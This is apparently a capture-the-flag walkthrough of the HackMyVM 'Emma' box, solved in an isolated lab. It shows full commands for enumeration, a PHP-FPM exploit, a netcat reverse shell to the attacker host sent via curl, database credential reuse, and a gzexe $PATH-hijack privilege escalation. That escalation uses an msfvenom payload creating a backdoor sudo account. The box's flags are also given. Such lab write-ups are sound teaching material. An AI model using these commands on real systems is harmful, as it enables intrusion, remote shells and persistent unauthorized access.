HackMyVM | Emma

In this walkthrough, I demonstrate how I obtained complete ownership of Emma from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Hard Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

# Nmap 7.98 scan initiated Wed Feb  4 19:01:01 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.14
Nmap scan report for 10.9.9.14
Host is up (0.00037s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:4c:af:92:cc:bb:99:59:d7:2f:1b:99:fb:f1:7c:f0 (RSA)
|   256 ba:0d:85:69:43:86:c1:91:7c:db:2a:1e:34:ab:68:1e (ECDSA)
|_  256 a1:ac:2c:ce:f4:07:da:96:12:74:d1:54:9e:f7:09:04 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb  4 19:01:14 2026 -- 1 IP address (1 host up) scanned in 13.21 seconds
echo -e '10.9.9.14\t\temma.hmv' | sudo tee -a /etc/hosts

Add hosts entry for convenience





Service Enumeration

TCP/80

Initial Enumeration

Site is completely blank and nothing in the page source
The server loads "index.php" as the site index



Directory and File Enumeration

grep -v '^#' /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt > wordlist.txt

Filter out comments from wordlist

ffuf -u 'http://emma.hmv/FUZZ' -w wordlist.txt -e php,html,txt

No valid URLs found



Parameter Fuzzing

ffuf -u 'http://emma.hmv/index.php?FUZZ=itwasonlyakiss' \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
-enc 'FUZZ:urlencode'

Try fuzzing parameter names with "itwasonlyakiss" as a value

ffuf -u 'http://emma.hmv/index.php?itwasonlyakiss=FUZZ' \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
-enc 'FUZZ:urlencode'

Try fuzzing with "itwasonlyakiss" as a parameter and LFI payloads



Researching the Server Header

ℹ️
I admittedly got stuck for a little bit trying to find an avenue. So, I regrouped my thoughts and started from square one. I looked at the server response headers and seeing the non-standard header was a dead giveaway.
Interesting server header...
Doing a quick Google search, this looks promising
ℹ️
Reading through some of the write-ups, there is a publicly available exploit to test for and exploit the vulnerability. The vulnerability happens when an attacker sends a specially crafted URL that allows for overwriting environment variables and altering PHP configurations.
go install github.com/neex/phuip-fpizdam@latest
phuip-fpizdam -h

See help output

phuip-fpizdam --only-qsl 'http://emma.hmv/index.php'

Test for vulnerability

Running which which on the target
Ping test successful
"nc" is installed on the target and has the "-e" flag



Exploit

sudo rlwrap nc -lnvp 443

Start a TCP socket to catch the reverse shell

curl -G 'http://emma.hmv/index.php' \
--data-urlencode 'a=/bin/bash -c '"'"'nc 10.6.6.6 443 -e /bin/bash'"'"''

Use the "-G" flag to tell 'curl' to put the data in the URL query





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux emma 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on emma.



Users and Groups

Local Users

emma:x:1000:1000:emma,,,:/home/emma:/bin/bash

Local Groups

cdrom:x:24:emma
floppy:x:25:emma
audio:x:29:emma
dip:x:30:emma
video:x:44:emma
plugdev:x:46:emma
netdev:x:109:emma
emma:x:1000:



Network Configurations

Network Interfaces

2: ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:11:10:64 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.14/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 6332sec preferred_lft 6332sec
    inet6 fe80::be24:11ff:fe11:1064/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp    LISTEN      0       128          127.0.0.1:9000           0.0.0.0:*       users:(("grep",pid=653,fd=13),("ss",pid=652,fd=13),("bash",pid=643,fd=13),("python3",pid=642,fd=13),("bash",pid=638,fd=13),("sh",pid=637,fd=13))
tcp    LISTEN      0       80           127.0.0.1:3306           0.0.0.0:*



Interesting Files

/home/emma/who


find / -type f -perm /4000 -exec ls -l {} \; 2>/dev/null
-rwsr-s--- 1 root emma 16760 Feb  4  2021 /home/emma/who





Privilege Escalation

Dumping the Database

💡
I kept holding onto the itwasonlyakiss string found in robots.txt earlier for use at different points on the box. So, I decided to try it here as well
mysql -u emma -p'itwasonlyakiss' -h localhost
❌ login failed
mysql -u root -p'itwasonlyakiss' -h localhost
✅ We're in!
USE users;
SHOW TABLES;
SELECT * FROM users;
QUIT

Two possibilities with the pass column:

  • This is the password as-is
  • Or, this is a MD5 hash



Lateral to Emma

ssh emma@emma.hmv
Looks like the password was '5f4dcc3b5aa765d61d8327deb882cf80' after all

The SUID binary on /home/emma/who is going to be useless, since it has a hard-coded /bin/id path and it's not writable. Beyond that, there's nothing novel here.

Password-less sudo on "/usr/bin/gzexe"



Becoming Root

Sudo -> SUID -> $PATH Chain

man gzexe
DESCRIPTION
       The  gzexe  utility allows you to compress executables in place and have them automatically uncompress and execute when you run them (at a penalty in performance).  For example if you execute
       ``gzexe /usr/bin/gdb'' it will create the following two files:
           -rwxr-xr-x  1 root root 1026675 Jun  7 13:53 /usr/bin/gdb
           -rwxr-xr-x  1 root root 2304524 May 30 13:02 /usr/bin/gdb~
       /usr/bin/gdb~ is the original file and /usr/bin/gdb is the self-uncompressing executable file.  You can remove /usr/bin/gdb~ once you are sure that /usr/bin/gdb works properly.

       This utility is most useful on systems with very small disks.

Citing the example, if you compress /usr/bin/gdb, gzexe creates:

  • /usr/bin/gdb — new file, compressed executable
  • /usr/bin/gdb~ — original file, may be deleted after testing
CAVEATS
       The compressed executable is a shell script.  This may create some security holes.  In particular, the compressed executable relies on the PATH environment variable  to  find  gzip  and  some
       standard utilities (basename, chmod, ln, mkdir, mktemp, rm, sleep, and tail).

Seems like there might be some potential for $PATH manipulation:

  • /usr/bin/gdb is the new, compressed binary
  • When executing /usr/bin/gdb, user $PATH will be searched for gzip and some other core binaries
💡
Step 1: Find a SUID binary owned by root
Step 2: Analyze calls to external binaries
Step 3: Run gzexe on external binary
Step 4: Make false gzip binary in $PATH
SUID binary
  |
  '---> Invoke compressed external binary
        |
        '---> Search `$PATH` for `gzip`
              |
              '---> SUID permissions not dropped
                    Execute malicious `gzip`



Set up and Exploit

ℹ️
During the post-exploit enumeration phase, we already found an interesting file at /home/emma/who owned by root and SUID bit set.

Source Code

On its own, its not very interesting. It just elevates root and runs /bin/id and then drops the elevation. But, with sudo /usr/bin/gzexe in the picture, and the exploit chain identified above, we're ready for action.


Compress the Target Binary

sudo /usr/bin/gzexe /bin/id

This creates:

  • /bin/id — the new compressed binary
  • /bin/id~ — the original binary

Create the Malicious Gzip Binary

💡
We must use a binary executable and not a script, because SUID permissions will not inherit down to a script. I'll be following my notes here.
USERPASS=$(tr -cd '[:alnum:][:punct:]' < /dev/urandom | head -c8; echo)
openssl passwd -6 -salt "$(openssl rand -base64 6)" "$USERPASS" > hash.txt
echo "User password: ${USERPASS}" > random_password.txt
msfvenom PrependSetresuid='true' AppendExit='true' CMD="[ -w /root ] && cp /bin/bash /usr/bin/nologon && chmod 755 /usr/bin/nologon && /usr/sbin/useradd -p '$(cat hash.txt)' -G sudo -m -r -s /usr/bin/nologon installer && echo 'installer    ALL=(ALL:ALL) NOPASSWD:ALL' >/etc/sudoers.d/installer" -p linux/x64/exec -f elf -o gzip

Create a new user account with password-less sudo on all commands

scp ./gzip emma@emma.hmv:/tmp/gzip

Copy the file to "/tmp/gzip" on the target



Run the SUID Binary

Now, get the password from "random_password.txt" and "su installer"
/home/emma/who
|
'---> /bin/id == gzexe compressed
      |
      '---> "gzip" => /tmp/gzip ($PATH injection)
                      |
msfvenom payload <----'



Flags

User

youdontknowme

Root

itsmeimshe 
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.